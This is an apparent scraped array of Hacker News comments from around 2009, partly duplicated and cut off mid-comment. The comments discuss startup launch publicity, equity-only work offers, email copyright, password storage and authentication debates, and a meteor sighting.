past is a raffle for an iPod or similar, you must enter a review to win.<p>Also, if the dean is really serious about wanting this feedback, then he or she could require filling out reviews as part of a successful away rotation. Suggest keeping this as a last resort, since it could lead people to resent your project. Plus then people will do the bare minimum review.<p>On the \\\"attention supply side,\\\" can you do something like instead of having one big review at the end, many micro-reviews during the rotation? For example, you could ask them every day \\\"what was the best thing about your away rotation?\\\" or you could give them a Twitter account and show the tweets relevant to the away rotation.\", \"I'm precisely so excited about what I've made because it is self-demonstrating.  The landing page has a video of someone using it, and a button to click to try it (no registration.. just click).  I just want as many eyeballs as possible to see it!<p>I'm definitely <i>not</i> expecting PR to \\\"make or break\\\" what I've made.  That being said, some PR at launch certainly wouldn't hurt, and if its something that will grow by word of mouth (hence, exponentially), twice as many people initially seeing it means twice as many users at any given point in time thereafter.<p>And I <i>do</i> use what I made, several times a day, and I love it.\", \"Hey HN,<p>I would like your advice on how to assess potential inter-business or inter-institutional relationships for any sort of industry.<p>By relationships, I mean any connection between two businesses. For example, how can you tell a local independent grocer that his business would benefit from initiating a relationship with Business X. Business X could be a supplier, another neighborhood grocer looking for a partnership (why?), a local website that specializes in promoting local grocers, etc.<p>In other words, how does one identify a business's potential for making mutually beneficial connections?<p>If you were to build a one-size-fits-all template to assess this type of potential for any sort of business in order to facilitate these connections, what variables would you look at - size, location, etc.?<p>I have been thinking about these questions for a while now, but hit a wall recently. I thought I would pose this to some other minds.<p>w\", \"How many Canadian or Australian H1Bs have you met?\", \"I was at a gallery with $10k+ paintings and sculptures. I asked the owner in a tactful way - why is the painting/sculpture worth $25,000 - who buys these? Her answer was the people who buy these pieces of art are buying them as investments (e.g. they would like them to appreciate in value, like fine wine). Kind of like discovering a cool band before they're hot. It's not totally gambling/investment and it's not solely personal appreciation of the artist's work.\", \"Religions attract the people that want to hide something, the best place to hide is right out in the open, they think they can go home pray and \\\"their God\\\" forgives them, so yes they use their religion to hide behind.\", \"<i>So I guess technically they should have... a reference count.</i><p>Okay, wise guys: Show me the algorithm that finds the snippet of ojbyrne's writing that I've just copied, above, and deletes it when ojbyrne deletes the original message. ;)<p>Now show me the version which correctly identifies my quote as a pretty obvious case of fair use, and therefore allows me to keep the quote even when the original is deleted.<p>No hacker would expect you to be able to do such a thing reliably. But the juries in copyright lawsuits are not composed of hackers.\", \"\\\"...great ideas will rise above connected people's ideas...\\\"<p>That's a nice way to put it. But truly great ideas tend to be self-demonstrating. If your idea is like that, like the portable water purifying straw, or wheels on luggage, you really don't need to do much.<p>For every other idea you either need to be connected yourself or you need to build a base of support. Perhaps identify the B and C listers, the ones who actually are hungry for a story. Or try to get 1,000 customers / people / whatever your metric is, then give them something in exchange for blogging about it.<p>You have the imagination to invent your thing, right? So why are you not using it? Connected writers are <i>lazy</i>. People come to them all day long. Do you really want your company to hinge on the whim of a lazy, distracted person who has no stake in your success?<p>Figure out what you really need to succeed, and go after that. Chasing PR because it's the default choice is a waste of time.\", \"Wow did not know they ran prostitutes thru Craigslist but that makes so  much sense now as to what happens there is so much organized crime hiding right out in the open, I learned the best place for criminals is out in the open...\", \"This is why bell choirs are either totally awful or completely amazing and never anything in between.\", \"You need this book, it's excellent: <a href=\\\"http://www.amazon.com/dp/0201799405\\\" rel=\\\"nofollow\\\">http://www.amazon.com/dp/0201799405</a> .\", NaN, \"Boy am I naive, did not know they ran prostitution thru Craigslists.  I do know if you catch a businessman with a hooker he will go to great lengths to destroy your credibility and your life to protect his reputation and his hooker love. Believe me I accidently saw it and was stalked and harassed for 5 years.!!!\", \"\\\"Labor\\\" consists of human beings which bring a whole complex of externalities that capital does not. Not one policymaker (Not one) is effected by these externalities. And most of us UMC technocrats aren't either.\", \"This is exactly the reason that I turned down equity-only offers while I was freelancing after being on the down-and-out for a while. I was not in a financial situation where I <i>could</i> work for equity, I had bills to pay, and barely enough money to do so.<p>I eventually found a very good client with a very good idea, and am <i>now</i> working for a \\\"pay the bills and save a little as well\\\" salary + (a fair amount of) equity, which should work out really well - but before that, <i>every</i> offer for equity that I got was from someone that either couldn't afford to pay my bills while waiting for their idea to come to fruition, or just had a \\\"ooh like a myspace/twitter mashup!!\\\" flop of an idea.<p>If your idea is good, there are a <i>lot</i> of competent programmers who will work on it if you can keep a roof over their head and food in their stomach. Hell, I would live on someones couch or spare room (hence just food costs) while working on their idea if it was a really good one and I got along with them (I imagine I'm in the minority here).\", NaN, \"The intersection of the Venn diagram of Perez Hilton's readers and TC+TM's readers is probably small. Perez is probably more influential in calling for a 'boycott' on FaceBook because of his audience.\", \"On the third-party point, I think that's the reason they say:<p>\\\"<i>(there seems to be no such confirmation found on at least some of the redirected porn sites).</i>\\\"\", \"If you're a mouse, you are all set.  If half this stuff would work in people....\", \"From 1.306 to 1.245 is a fall of 25% ?\", \"<i>\\\"Can you point me to something I said that implies this is an obsession or that this is what I think the primary critical issue is with site security?\\\"</i><p>You asked for the financial institution's name so you could avoid them, based solely on the password storage issue. That counts as obsession to me. Oh and I forgot to write it before, but financial institutions often <i>need</i> to store in plaintext anyway, for telephone authentication.<p><i>\\\"Why would I as a user care at all if I could retrieve the actual value of a complex password -- and why would knowing I could recover it make me then choose a more complex one?\\\"</i><p>If people know they have to remember it, they tend to choose simpler passwords, or they write it down. If you tell users to set a hard password, and they can recover it later if necessary, they would hopefully tend to use better ones. I can't really back that up with a study, though, so it could just be my experience.<p><i>\\\"The user should be given an option of resetting the password via a link sent by email.  Sending passwords themselves over the email is a great way to have it revealed for someone else to use later.\\\"</i><p>This is veering off topic, but you either trust the email or you don't. What, pray tell, is the difference between sending the password and sending a link to reset the password, if an attacker has access to the victim's email?<p><i>\\\"Good thing no one needs this mediocre authentication method if SSL is available.\\\"</i><p>Yeah, pity SSL is not an authentication method. You did know that, right?<p>Digest authentication is heavily used in APIs and other non-browser applications, where you need some authentication but the tunnel is not necessary and you don't want to maintain heavy sessions. SSL, apart from NOT being an authentication method, is anyway slow and heavy and requires proper certs, so is mainly used only for user-facing web sites. Not to mention intranets, devices, etc.<p>Anyway, even if HTTP Digest Auth were in fact rare, trying to wave it away with \\\"good thing no-one needs it\\\" is ridiculous. I, personally, need it, and am very far from alone.<p>I'd like to mention that I do agree in principle, and am playing devil's advocate to some degree. My point is that password hashing is not a panacea, it is often not even possible, and I would certainly not avoid a site just because they store in plaintext if I otherwise had a good impression of their security practises.<p>I suspect that many companies you know, trust and use have a plaintext copy of your password with them, and you wouldn't even know it.\", \"Thanks for the advice about Fridays before a long holiday.<p>Believe me, I'm well aware that I'm currently an insignificant force on basically all forms of media, which makes me happy to hear you sympathize.<p>How do I go about creating a relationship with sites like TechCrunch, ReadWriteWeb, etc?  What I'm going to launch is something I they really <i>would</i> want to cover, and if they didn't, they'd be doing terrible at their job.  There has to be some hope that great ideas will rise above connected people's ideas, at least in terms of coverage.  This is the internet, after all.\", \"Well sure, but it seems to me that if someone is already competent in haskell, or has done some serious networking work on their own, then they've already demonstrated that they're worth hiring, and that they'll probably be able to work with whatever you need them to.<p>This is different than looking for someone with 1 year of experience in ruby. The combination of short amount of time and some conflation of ruby and ruby-on-rails in the general populace could lead to a whole lot of incompetent (or inexperienced enough that it would drag the whole project down) devs being attracted to the job.<p>That is not to say that I think that 5 years of experience developing web apps and 3 in ruby is much of a better metric - as you said, (demonstrated) ability, talent, and enthusiasm are much more important than x years in y.\", \"It would make watching professional football more interesting.\", NaN, NaN, NaN, \"Jay,<p>What people are trying to communicate is that they don't judge that you are offering value. It's a possible and valid answer to your question that you have to consider: that you ad is good, but your opportunity is bad.<p>That doesn't help you launch your business, so how about this:<p>What you seem to need to do is pay a contractor to build you a web application you have designed.<p>Think of this as building out an empty strip mall unit into a cafe for fulfill your dream of owning a coffee house. You have a general idea, and with your good credit, you can lease the space, but you need somebody with skills and experience to do the build out: build a bar, install coffee machines, plumbing, electric, internet, interior design, funishing... etc.<p>Assume you have plenty of cash and some rudimentary experience outfitting commercial real estate. Then this is straightforward: you request bids, hire a contractor, they do everything you want, you pay them, and cafe business is entirely owned by you. When the contractors are done, they are gone, though you are always welcome to repeat the process of you paying them for new work to maintain or expand your business. You will probably learn something about negotiating contracts based on over-optimistic sales projections, but oh well, that's life.<p>So, this will be your general experience if you hire a web application contracting firm.<p>But what if you don't have the money to hire somebody to do the work, and you can't do the work yourself? Now you are in troubled territory for which there is no MBA formula...<p>This seems to be you. Here are some example scenarios, still following the cafe analogy, that could work and have respectable expectations of success:<p>* You work with your family or very best friend who can help you do the work because they love you. They get some equity, but it's \\\"your\\\" business, and they respect that. Maybe the cafe goes on to be part of the family business.<p>* You save your money until you can pay somebody to do the work.<p>* You get a small business loan from the bank to do the work. (PS: off-topic, but please do not allow your friends and family to co-sign your small business loan if you really care about them...)<p>Now you can't do any of the above... and now we're getting into shady territory of almost certain failure:<p>* Reminded of stories of people who seemingly helped each other for free (see above), you convince \\\"some guy / some kid\\\" who \\\"worked in construction / seems really handy\\\" that the two of you will finally Achieve the American Dream and that together you have a shot at making TONS of money by him doing your work. You can't pay him, but you give him some \\\"equity,\\\" and \\\"that's ok, you'll be rich when this gets huge if we all work really hard.\\\"\", \"<i>The friend you sent this message to could have ownership of this piece of information - if Facebook wanted to structure it this way. That is actually how email works.</i><p>This is untrue. An email written by you is your copyrighted work, from the moment you type it. Just because it's in my inbox doesn't mean you've relinquished your copyright. Technically, if I republish your email to me, you can sue me. [1]<p>The other day someone was polite enough to ask for <i>permission</i> to republish one of my comments here on HN on their blog. That surprised me for a second, but it shouldn't have. They were doing the correct, legal thing -- my comment was (and is) copyrighted by me; unless they were reproducing it for a fair use -- as I just did, when I quoted your post for the purpose of commenting on it -- they needed my permission to reuse it.<p>Now imagine how useful Facebook would be if every user had to seek a copyright release from every other user anytime they forwarded a message, or cropped a fellow user's photo, or reposted something, lest Facebook later be sued for contributory or vicarious infringement. [2] That's why Facebook has now decided to just have users agree to a waiver in advance.<p>---<p>[1] Not that you would necessarily <i>win</i> such a lawsuit. There are such things as \\\"implied licenses\\\": If you send email to a public mailing list there's an implication that you mean for it to be public:<p><a href=\\\"http://www.piercelaw.edu/thomasfield/ipbasics/copyright-on-the-internet.php\\\" rel=\\\"nofollow\\\">http://www.piercelaw.edu/thomasfield/ipbasics/copyright-on-t...</a><p>There are also many fair uses. But, especially if I use your writing for some sort of commercial purpose -- as Facebook does, constantly -- you can take me to court and hassle me, because the copyright is still yours. As the Creative Commons website will tell you at great length, under current US copyright law it's actually really hard to <i>throw away</i> the inherent copyright that you hold in your own work, even if you <i>want</i> to throw it away.<p>[2] <a href=\\\"http://digital-law-online.info/lpdi1.0/treatise14.html\\\" rel=\\\"nofollow\\\">http://digital-law-online.info/lpdi1.0/treatise14.html</a>\", \"Govt agencies and others who want to bury data do so on a Friday before a long holiday... like this recent one.<p>So do the opposite: launch next Tuesday, 24 Feb.<p>But, and I say this with love, it doesn't fucking matter when you launch. We launched a beta... 12 days ago? I don't remember precisely because it doesn't matter. The people using are happy and we don't need to see our names in print.<p>I've worked at places that had rock star launches and promptly failed <i>because they didn't make something people wanted</i>. I've worked for nice, profitable businesses you've never heard of, and never will.<p>Anyway -- if you want publicity, it's more than just numerology. You have to build relationships with people beforehand. It's not like you're going to email news@wired.com at exactly 8:13 am on the day before deadline, and boom! you're an internet legend. Give journalists a little credit.\", \"Several years ago, I had the privilege to witness a fireball that lasted nearly 15 seconds from start to finish.  I've never again experienced anything as intense as this, which includes skydiving.<p>I spotted a tiny white moving dot in the sky.  At first, it looked like a satellite in orbit, only it strangely grew in intensity, until appearing to be an airplane.  5 seconds in, it began to flicker, grew brighter, and grabbed the attention of other onlookers.  From there, small fragments began coming off as it increased in brightness and become more of a white-orange color.  The fragmenting pieces themselves also followed suite, breaking off into more white-orange pieces and leaving glittering trails.  The main object then became quite massive, maybe about half the size of a full moon, with equal to or greater brightness then a full moon.  The ground lit up.  The main object was constantly disintegrating as pieces were breaking off and lagging back into the trail, breaking off into even more glittering pieces, and producing more light.  Still, the main object only grew in intensity and become more distinctly orange.  I can't be sure, because at this point it was burning spots into my eyes, which were adjusted for low light, but I believe there was even a trail of smoke.  At this point I remember thinking \\\"holy crap, it's going to impact way over there!\\\" but instead, it dimmed a bit, and flew past the horizon.  Suddenly, it was like the whole thing had never happened.  Surprisingly, there was no sound from it.<p>On a related note, did anyone catch the Leonids several years back?  That was also quite amazing.\", \"I'm not a lawyer, but my guess would be no since it's merely a link to a third party. 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Think every day is a launch day. First launch on forums like HN, then get some feedback, then launch on few mid-size blogs, see if they cover it, see if you can handle traffic, then again launch on bigger blogs, and then keep launching to every single person you meet on each and every day. Once you are ready, every single day is a launch day.\", \"For a new code base, that I will be working on\\\\n- First read documentation\\\\n- On A3 paper, I draw what I understood, to me picture gives more clarity\\\\n- Understand the files/directory/toolchain structure etc.\\\\n- Use ctags and cscope \\\\n- Navigate by functionality<p>For others, I skim through books/blogs/opensource code\", NaN, \"I do use Cocoa on the Mac, but sometimes I go, \\\"What if Apple decides to drop this stuff, like what they did with Carbon?\\\", and I shudder.\", \"\\\"People don't care how much you know until they know how much you care\\\"<p>I know you are trying to address a classic problem that excellent networkers solve all the time (e.g. \\\"You should talk to my friend Joe\\\"). However, they are connecting people they already know. Even if you were able to figure out what businesses should connect, you will probably need who at those particular businesses should be connected. I don't think you can remove the human element from networking. LinkedIn succeeds because they are a powerful tool for managing a professional network and a lesser tool for reputation scoring (other startups are addressing that - check out <a href=\\\"http://anthillz.com\\\" rel=\\\"nofollow\\\">http://anthillz.com</a>). They do have a 'people you might want to add as a connection' but they pretty much remain in the background. LinkedIn is going to be hard to beat - they have the data and have gone beyond critical mass.\", NaN, \"Because you are going to lose your entire database, and everyone's password along with it, to the first SQL Injection vulnerability you miss in your application.\", \"Me and my friends once tried to uncover his real name, with no success. It seems he has registered all his domains with the name _why the lucky stiff (the WHOIS page said \\\"the lucky stiff, _why\\\")<p>Maybe that <i>is</i> his real name?\", \"\\\"<i>That counts as obsession to me.</i>\\\"<p>It's a red flag, not an obsession...<p>\\\"<i>financial institutions often need to store in plaintext anyway, for telephone authentication.</i>\\\"<p>Mine doesn't.  And yes, if they did, I would not be their customer.  Just because I may not know exactly what happens behind the scenes somewhere doesn't mean I can't react to the red flags I can see.<p>\\\"<i>If you tell users to set a hard password, and they can recover it later if necessary, they would hopefully tend to use better ones</i>\\\"<p>How is that any different than if the user can <i>reset</i> the password?<p>\\\"<i>What, pray tell, is the difference between sending the password and sending a link to reset the password, if an attacker has access to the victim's email?</i>\\\"<p>There is a big difference.  Anyone who has access to the text of the mail <i>at any point in time</i> now has your password.  It's about mitigating the risks of the crappy vetting channel (email) with a time limited method (a reset URL).<p><i>\\\"Yeah, pity SSL is not an authentication method.  You did know that, right?</i>\\\"<p>For password based things, I am referring to the <i>channel</i> used to avoid the well known problems with digest access authentication such as man in the middle attacks.<p>Besides what I was referring to: used with non-anonymous X509 client certs, yes SSL <i>is</i> in fact used for authentication.  Entire infrastructures are built on it.  All of the clusters I have access to only let me in by virtue of X509 client certificates over SSL.<p><i>\\\"\\\"good thing no-one needs it\\\" is ridiculous. I, personally, need it, and am very far from alone.</i>\\\"<p>I said good thing no one needs it if SSL is available not that no one needs it...<p>I use it myself in software we release that runs behind a firewall, I'm well aware it's cheaper.<p><i>\\\"I would certainly not avoid a site just because they store in plaintext</i>\\\"<p>I admit it's a little on the reactionary side for me to say that, it was quick snarky comment.<p>But I don't take back that it's a red flag.\", \"OK. I will try to explain.<p>There are big problems with software development - complexity and requirement of the special state of the mind. This is why there are still no programming factories. There are already data-indexing and query processing factories, but you still should think and write.<p>All those methods, form Booch's RUP, Beck's XP, Fowler's Refactoring are an attempts to adapt scientific methods, psychological and human behavior models, and even religious concepts to the process of the writing software.<p>The point is that these common ideas can be also adapted to a business processes.<p>For example, RUP is about planning and circles of iterations - scientific approach. XP is about reuse human behavior - little steps, being sure you hadn't broke anything, look (run tests) at your beloved code 10 times a day. Refactoring is about continuous improvements, little changes, that makes your code easier to understand, which means easier to modify and support. This is, probably, from dictionary and guide-books writing. You're writing the code is for humans, not for compilers.<p>Of course, not one of these methods fits all, but you can make a mix by yourself. Some from there, some from there. It is like cooking. All sources and ingredients available - just try, learn on failures and try again.\", \"I'm not into Twitter at all too much, yet, but it seems like nowadays any link you post is fair game.  URLs in and of themselves have nearly as much value as the content within them, which is what makes social media sites so valuable.  It's now the nature of the web for URLs to get passed around.  It doesn't seem to matter much from where the URL first got popular.. Digg/Reddit/HN/4chan/etc.. if it's good content, the link has value, and is arbitraged across all of the networks.<p>Anybody can repost links found on any of these networks, and claim they found them themselves.  I've long theorized about how since there's values in URLs, one could profit from being able to detect when a URL is \\\"underrated,\\\" that is, poised to become extremely popular, and share the link.  Basically, a \\\"what's about to be really hot across all social media sites\\\" URL generator.  If I link to it from Twitter before it becomes popular, I'm doing my followers a service.<p>My question for you: what does \\\"highest-point\\\" submission mean?  How are points measured?  Where can you view them?\", \"A good thread over at Wired around popular social bookmarking alternatives: <a href=\\\"http://blog.wired.com/business/2009/01/magnolia-suffer.html\\\" rel=\\\"nofollow\\\">http://blog.wired.com/business/2009/01/magnolia-suffer.html</a>\", \"I would barely call some TechCrunch comments \\\"controversy\\\". That site has some serious youtube-style lowest-denominator-of-society commenting going on. The troll to constructive comment ratio is like 9:1.\", \"So the problem is that the people on the rotations are too lazy to fill out the review forms? The problem is not that they are afraid the reviews will bite them later?<p>If so, sounds like you could try offering rewards of some type. What I've seen in the past is a raffle for an iPod or similar, you must enter a review to win.<p>Also, if the dean is really serious about wanting this feedback, then he or she could require filling out reviews as part of a successful away rotation. Suggest keeping this as a last resort, since it could lead people to resent your project. Plus then people will do the bare minimum review.<p>On the \\\"attention supply side,\\\" can you do something like instead of having one big review at the end, many micro-reviews during the rotation? For example, you could ask them every day \\\"what was the best thing about your away rotation?\\\" or you could give them a Twitter account and show the tweets relevant to the away rotation.\", \"I'm precisely so excited about what I've made because it is self-demonstrating.  The landing page has a video of someone using it, and a button to click to try it (no registration.. just click).  I just want as many eyeballs as possible to see it!<p>I'm definitely <i>not</i> expecting PR to \\\"make or break\\\" what I've made.  That being said, some PR at launch certainly wouldn't hurt, and if its something that will grow by word of mouth (hence, exponentially), twice as many people initially seeing it means twice as many users at any given point in time thereafter.<p>And I <i>do</i> use what I made, several times a day, and I love it.\", \"Hey HN,<p>I would like your advice on how to assess potential inter-business or inter-institutional relationships for any sort of industry.<p>By relationships, I mean any connection between two businesses. For example, how can you tell a local independent grocer that his business would benefit from initiating a relationship with Business X. Business X could be a supplier, another neighborhood grocer looking for a partnership (why?), a local website that specializes in promoting local grocers, etc.<p>In other words, how does one identify a business's potential for making mutually beneficial connections?<p>If you were to build a one-size-fits-all template to assess this type of potential for any sort of business in order to facilitate these connections, what variables would you look at - size, location, etc.?<p>I have been thinking about these questions for a while now, but hit a wall recently. I thought I would pose this to some other minds.<p>w\", \"How many Canadian or Australian H1Bs have you met?\", \"I was at a gallery with $10k+ paintings and sculptures. I asked the owner in a tactful way - why is the painting/sculpture worth $25,000 - who buys these? Her answer was the people who buy these pieces of art are buying them as investments (e.g. they would like them to appreciate in value, like fine wine). Kind of like discovering a cool band before they're hot. It's not totally gambling/investment and it's not solely personal appreciation of the artist's work.\", \"Religions attract the people that want to hide something, the best place to hide is right out in the open, they think they can go home pray and \\\"their God\\\" forgives them, so yes they use their religion to hide behind.\", \"<i>So I guess technically they should have... a reference count.</i><p>Okay, wise guys: Show me the algorithm that finds the snippet of ojbyrne's writing that I've just copied, above, and deletes it when ojbyrne deletes the original message. ;)<p>Now show me the version which correctly identifies my quote as a pretty obvious case of fair use, and therefore allows me to keep the quote even when the original is deleted.<p>No hacker would expect you to be able to do such a thing reliably. But the juries in copyright lawsuits are not composed of hackers.\", \"\\\"...great ideas will rise above connected people's ideas...\\\"<p>That's a nice way to put it. But truly great ideas tend to be self-demonstrating. If your idea is like that, like the portable water purifying straw, or wheels on luggage, you really don't need to do much.<p>For every other idea you either need to be connected yourself or you need to build a base of support. Perhaps identify the B and C listers, the ones who actually are hungry for a story. Or try to get 1,000 customers / people / whatever your metric is, then give them something in exchange for blogging about it.<p>You have the imagination to invent your thing, right? So why are you not using it? Connected writers are <i>lazy</i>. People come to them all day long. Do you really want your company to hinge on the whim of a lazy, distracted person who has no stake in your success?<p>Figure out what you really need to succeed, and go after that. Chasing PR because it's the default choice is a waste of time.\", \"Wow did not know they ran prostitutes thru Craigslist but that makes so  much sense now as to what happens there is so much organized crime hiding right out in the open, I learned the best place for criminals is out in the open...\", \"This is why bell choirs are either totally awful or completely amazing and never anything in between.\", \"You need this book, it's excellent: <a href=\\\"http://www.amazon.com/dp/0201799405\\\" rel=\\\"nofollow\\\">http://www.amazon.com/dp/0201799405</a> .\", NaN, \"Boy am I naive, did not know they ran prostitution thru Craigslists.  I do know if you catch a businessman with a hooker he will go to great lengths to destroy your credibility and your life to protect his reputation and his hooker love. Believe me I accidently saw it and was stalked and harassed for 5 years.!!!\", \"\\\"Labor\\\" consists of human beings which bring a whole complex of externalities that capital does not. Not one policymaker (Not one) is effected by these externalities. And most of us UMC technocrats aren't either.\", \"This is exactly the reason that I turned down equity-only offers while I was freelancing after being on the down-and-out for a while. I was not in a financial situation where I <i>could</i> work for equity, I had bills to pay, and barely enough money to do so.<p>I eventually found a very good client with a very good idea, and am <i>now</i> working for a \\\"pay the bills and save a little as well\\\" salary + (a fair amount of) equity, which should work out really well - but before that, <i>every</i> offer for equity that I got was from someone that either couldn't afford to pay my bills while waiting for their idea to come to fruition, or just had a \\\"ooh like a myspace/twitter mashup!!\\\" flop of an idea.<p>If your idea is good, there are a <i>lot</i> of competent programmers who will work on it if you can keep a roof over their head and food in their stomach. Hell, I would live on someones couch or spare room (hence just food costs) while working on their idea if it was a really good one and I got along with them (I imagine I'm in the minority here).\", NaN, \"The intersection of the Venn diagram of Perez Hilton's readers and TC+TM's readers is probably small. Perez is probably more influential in calling for a 'boycott' on FaceBook because of his audience.\", \"On the third-party point, I think that's the reason they say:<p>\\\"<i>(there seems to be no such confirmation found on at least some of the redirected porn sites).</i>\\\"\", \"If you're a mouse, you are all set.  If half this stuff would work in people....\", \"From 1.306 to 1.245 is a fall of 25% ?\", \"<i>\\\"Can you point me to something I said that implies this is an obsession or that this is what I think the primary critical issue is with site security?\\\"</i><p>You asked for the financial institution's name so you could avoid them, based solely on the password storage issue. That counts as obsession to me. Oh and I forgot to write it before, but financial institutions often <i>need</i> to store in plaintext anyway, for telephone authentication.<p><i>\\\"Why would I as a user care at all if I could retrieve the actual value of a complex password -- and why would knowing I could recover it make me then choose a more complex one?\\\"</i><p>If people know they have to remember it, they tend to choose simpler passwords, or they write it down. If you tell users to set a hard password, and they can recover it later if necessary, they would hopefully tend to use better ones. I can't really back that up with a study, though, so it could just be my experience.<p><i>\\\"The user should be given an option of resetting the password via a link sent by email.  Sending passwords themselves over the email is a great way to have it revealed for someone else to use later.\\\"</i><p>This is veering off topic, but you either trust the email or you don't. What, pray tell, is the difference between sending the password and sending a link to reset the password, if an attacker has access to the victim's email?<p><i>\\\"Good thing no one needs this mediocre authentication method if SSL is available.\\\"</i><p>Yeah, pity SSL is not an authentication method. You did know that, right?<p>Digest authentication is heavily used in APIs and other non-browser applications, where you need some authentication but the tunnel is not necessary and you don't want to maintain heavy sessions. SSL, apart from NOT being an authentication method, is anyway slow and heavy and requires proper certs, so is mainly used only for user-facing web sites. Not to mention intranets, devices, etc.<p>Anyway, even if HTTP Digest Auth were in fact rare, trying to wave it away with \\\"good thing no-one needs it\\\" is ridiculous. I, personally, need it, and am very far from alone.<p>I'd like to mention that I do agree in principle, and am playing devil's advocate to some degree. My point is that password hashing is not a panacea, it is often not even possible, and I would certainly not avoid a site just because they store in plaintext if I otherwise had a good impression of their security practises.<p>I suspect that many companies you know, trust and use have a plaintext copy of your password with them, and you wouldn't even know it.\", \"Thanks for the advice about Fridays before a long holiday.<p>Believe me, I'm well aware that I'm currently an insignificant force on basically all forms of media, which makes me happy to hear you sympathize.<p>How do I go about creating a relationship with sites like TechCrunch, ReadWriteWeb, etc?  What I'm going to launch is something I they really <i>would</i> want to cover, and if they didn't, they'd be doing terrible at their job.  There has to be some hope that great ideas will rise above connected people's ideas, at least in terms of coverage.  This is the internet, after all.\", \"Well sure, but it seems to me that if someone is already competent in haskell, or has done some serious networking work on their own, then they've already demonstrated that they're worth hiring, and that they'll probably be able to work with whatever you need them to.<p>This is different than looking for someone with 1 year of experience in ruby. The combination of short amount of time and some conflation of ruby and ruby-on-rails in the general populace could lead to a whole lot of incompetent (or inexperienced enough that it would drag the whole project down) devs being attracted to the job.<p>That is not to say that I think that 5 years of experience developing web apps and 3 in ruby is much of a better metric - as you said, (demonstrated) ability, talent, and enthusiasm are much more important than x years in y.\", \"It would make watching professional football more interesting.\", NaN, NaN, NaN, \"Jay,<p>What people are trying to communicate is that they don't judge that you are offering value. It's a possible and valid answer to your question that you have to consider: that you ad is good, but your opportunity is bad.<p>That doesn't help you launch your business, so how about this:<p>What you seem to need to do is pay a contractor to build you a web application you have designed.<p>Think of this as building out an empty strip mall unit into a cafe for fulfill your dream of owning a coffee house. You have a general idea, and with your good credit, you can lease the space, but you need somebody with skills and experience to do the build out: build a bar, install coffee machines, plumbing, electric, internet, interior design, funishing... etc.<p>Assume you have plenty of cash and some rudimentary experience outfitting commercial real estate. Then this is straightforward: you request bids, hire a contractor, they do everything you want, you pay them, and cafe business is entirely owned by you. When the contractors are done, they are gone, though you are always welcome to repeat the process of you paying them for new work to maintain or expand your business. You will probably learn something about negotiating contracts based on over-optimistic sales projections, but oh well, that's life.<p>So, this will be your general experience if you hire a web application contracting firm.<p>But what if you don't have the money to hire somebody to do the work, and you can't do the work yourself? Now you are in troubled territory for which there is no MBA formula...<p>This seems to be you. Here are some example scenarios, still following the cafe analogy, that could work and have respectable expectations of success:<p>* You work with your family or very best friend who can help you do the work because they love you. They get some equity, but it's \\\"your\\\" business, and they respect that. Maybe the cafe goes on to be part of the family business.<p>* You save your money until you can pay somebody to do the work.<p>* You get a small business loan from the bank to do the work. (PS: off-topic, but please do not allow your friends and family to co-sign your small business loan if you really care about them...)<p>Now you can't do any of the above... and now we're getting into shady territory of almost certain failure:<p>* Reminded of stories of people who seemingly helped each other for free (see above), you convince \\\"some guy / some kid\\\" who \\\"worked in construction / seems really handy\\\" that the two of you will finally Achieve the American Dream and that together you have a shot at making TONS of money by him doing your work. You can't pay him, but you give him some \\\"equity,\\\" and \\\"that's ok, you'll be rich when this gets huge if we all work really hard.\\\"\", \"<i>The friend you sent this message to could have ownership of this piece of information - if Facebook wanted to structure it this way. That is actually how email works.</i><p>This is untrue. An email written by you is your copyrighted work, from the moment you type it. Just because it's in my inbox doesn't mean you've relinquished your copyright. Technically, if I republish your email to me, you can sue me. [1]<p>The other day someone was polite enough to ask for <i>permission</i> to republish one of my comments here on HN on their blog. That surprised me for a second, but it shouldn't have. They were doing the correct, legal thing -- my comment was (and is) copyrighted by me; unless they were reproducing it for a fair use -- as I just did, when I quoted your post for the purpose of commenting on it -- they needed my permission to reuse it.<p>Now imagine how useful Facebook would be if every user had to seek a copyright release from every other user anytime they forwarded a message, or cropped a fellow user's photo, or reposted something, lest Facebook later be sued for contributory or vicarious infringement. [2] That's why Facebook has now decided to just have users agree to a waiver in advance.<p>---<p>[1] Not that you would necessarily <i>win</i> such a lawsuit. There are such things as \\\"implied licenses\\\": If you send email to a public mailing list there's an implication that you mean for it to be public:<p><a href=\\\"http://www.piercelaw.edu/thomasfield/ipbasics/copyright-on-the-internet.php\\\" rel=\\\"nofollow\\\">http://www.piercelaw.edu/thomasfield/ipbasics/copyright-on-t...</a><p>There are also many fair uses. But, especially if I use your writing for some sort of commercial purpose -- as Facebook does, constantly -- you can take me to court and hassle me, because the copyright is still yours. As the Creative Commons website will tell you at great length, under current US copyright law it's actually really hard to <i>throw away</i> the inherent copyright that you hold in your own work, even if you <i>want</i> to throw it away.<p>[2] <a href=\\\"http://digital-law-online.info/lpdi1.0/treatise14.html\\\" rel=\\\"nofollow\\\">http://digital-law-online.info/lpdi1.0/treatise14.html</a>\", \"Govt agencies and others who want to bury data do so on a Friday before a long holiday... like this recent one.<p>So do the opposite: launch next Tuesday, 24 Feb.<p>But, and I say this with love, it doesn't fucking matter when you launch. We launched a beta... 12 days ago? I don't remember precisely because it doesn't matter. The people using are happy and we don't need to see our names in print.<p>I've worked at places that had rock star launches and promptly failed <i>because they didn't make something people wanted</i>. I've worked for nice, profitable businesses you've never heard of, and never will.<p>Anyway -- if you want publicity, it's more than just numerology. You have to build relationships with people beforehand. It's not like you're going to email news@wired.com at exactly 8:13 am on the day before deadline, and boom! you're an internet legend. Give journalists a little credit.\", \"Several years ago, I had the privilege to witness a fireball that lasted nearly 15 seconds from start to finish.  I've never again experienced anything as intense as this, which includes skydiving.<p>I spotted a tiny white moving dot in the sky.  At first, it looked like a satellite in orbit, only it strangely grew in intensity, until appearing to be an airplane.  5 seconds in, it began to flicker, grew brighter, and grabbed the attention of other onlookers.  From there, small fragments began coming off as it increased in brightness and become more of a white-orange color.  The fragmenting pieces themselves also followed suite, breaking off into more white-orange pieces and leaving glittering trails.  The main object then became quite massive, maybe about half the size of a full moon, with equal to or greater brightness then a full moon.  The ground lit up.  The main object was constantly disintegrating as pieces were breaking off and lagging back into the trail, breaking off into even more glittering pieces, and producing more light.  Still, the main object only grew in intensity and become more distinctly orange.  I can't be sure, because at this point it was burning spots into my eyes, which were adjusted for low light, but I believe there was even a trail of smoke.  At this point I remember thinking \\\"holy crap, it's going to impact way over there!\\\" but instead, it dimmed a bit, and flew past the horizon.  Suddenly, it was like the whole thing had never happened.  Surprisingly, there was no sound from it.<p>On a related note, did anyone catch the Leonids several years back?  That 